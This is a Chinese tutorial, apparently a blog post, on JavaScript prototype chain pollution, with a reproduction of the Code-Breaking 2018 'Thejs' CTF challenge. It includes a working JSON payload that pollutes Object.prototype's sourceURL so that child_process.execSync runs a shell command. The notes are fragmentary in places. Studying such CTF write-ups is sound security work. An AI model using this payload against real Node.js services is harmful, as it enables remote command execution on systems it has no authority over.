一 原型链污染原理
prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
一个对象的__proto__属性,指向这个对象所在的类的prototype属性
例如 foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,意味着就可以修改Foo类
二,简单的原型链污染实验
foo是一个简单的JavaScript对象
foo.bar 此时为1
由于查找顺序的原因,foo.bar仍然是1
此时再用Object创建一个空的zoo对象
查看zoo.bar
查看结果
分析
三, Code-Breaking 2018 Thejs原型链污染复现
1,运用的知识点![](https://i-blog.csdnimg.cn/blog_migrate/4eee9343f097a8fd83d6a9256741911f.png)
2,原理分析 //…merge 给sourceURL赋值 实现任意命令执行 通过原型链污染实现//
//…new Function(x, ‘return y’) 相当于function add(x){ return }//
{"__proto__": {"sourceURL": "\u000areturn ()=>{for (var a in {}) {delete Object.prototype[a];}
return global.process.mainModule.constructor._load('child_process').execSync('id')}\u000a//"}
//nodejs中有一个模块叫做process process底下有一个子模块叫chid_process
,其下有一个方法叫做execSync(‘whoami’)执行命令//
return global.process.mainModule.constructor._load(‘child_process’).execSync(‘id’)}\u000a//"}}
让原来的return失效,新的return把它替换掉 通过\u000a换行符把return换下来,再注释掉
{“proto”: {“sourceURL”: "\u000areturn ()=>{for (var a in {})
{delete Object.prototype[a];} 干什么?为了不让其他人看见这个flag,所以我把这个flag删除了
//{delete Object.prototype[a];}将object对象中的所有属性循环出来,再进行删除
三,复现